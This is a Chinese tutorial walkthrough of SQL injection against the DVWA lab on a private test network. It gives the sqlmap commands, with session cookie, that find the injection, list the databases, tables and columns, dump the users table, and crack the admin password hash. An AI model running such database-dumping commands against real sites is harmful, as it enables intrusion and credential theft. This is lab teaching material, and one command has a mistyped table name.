黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

今天我们就开始第一个攻击实验DVWA下的SQL注入!

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

1、实验环境介绍

攻击机 Kali Linux IP192.168.11.1

靶机 Win7 IP192.168.11.128

所使用的工具:SQLmap,火狐浏览器下的Tamper Data,DVWA漏洞环境

2、首先我们使用攻击机访问靶机下搭建的DVWA页面。(地址为http://192.168.11.128/dvwa/)

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

3、使用火狐浏览器自带的插件Tamper Data(没有安装的小伙伴可以去菜单-附加组件-搜索安装,并在工具下打开使用),查看Web应用后台提交给目标服务器的POST参数,Cookie值等数据。访问SQL注入页面,使用Tamper Data查看提交的数据。

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

访问SQL注入页面

Tamper Data获取到的访问请求数据

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

获取目标URL和Cookie值

3、下面使用SQLmap 扫描,参数如下

root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk'

这句指令 -u 就是刚才Tamper Data获取的目标URL,使用 --cookie参数就为了使用当前会话Cookie,对漏洞页面进行持续扫描。

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

通过扫描这个页面,我们的扫描结果已经把这个站点的详细信息列了出来,并且存在SQL注入点(如果不存在,我这个实验环境不白搭了吗。。。),该站点数据库版本信息为MySQL 5.0,Web应用版本为PHP 7.1.11, Apache 2.4.29。

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

4、下一步我们就来获取这个MySQL数据库名。参数如下

root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' --dbs -v

使用 --dbs 参数就可以探测所包含的数据库名称,扫描结果显示出了Web应用的数据库DVWA黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

扫描过程

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

扫描结果

5、接下来,使用以下参数来查询dvwa数据库中的表名,参数如下

root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables

这个参数中 -D 就是指定数据库 --table就是列出表名

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

6、发现一个敏感的的表 users ,下面就来列出 users 表中的字段列表。参数如下

root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables -T userd --columns

这个指令中 -T 参数是指定表名 ,--columns参数可以获取该表中的字段。

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

7、可以看到有一个非常吸引人的字段 password,下面就把这个字段内容下载出来。参数如下

root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables -T users --columns --dump

这个指令中的 --dump选项可以获取到这个站点所有的用户名和密码的哈希值

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

字段内容

8、这时候我们就已经获取了admin用户的密码哈希加密值,这条加密值我们可以通过网上破解MD5加密的站点进行解密。小编也随便找了一个解密网站对admin用户名的密码哈希值进行了解密,其内容为password。

黑客行为模拟!—SQL注入(DVWA环境下黑客拖库演示)详解

解密MD5

这只是实验环境,我们能轻易获取到后台管理员的用户名和密码。实际环境与此相比要困难的多,小伙伴们进行实验时有什么问题可以评论在下方,小编会及时回答,指令的输入要注意格式的规范。切记不要对站点进行恶意攻击,做一个遵纪守法的好公民。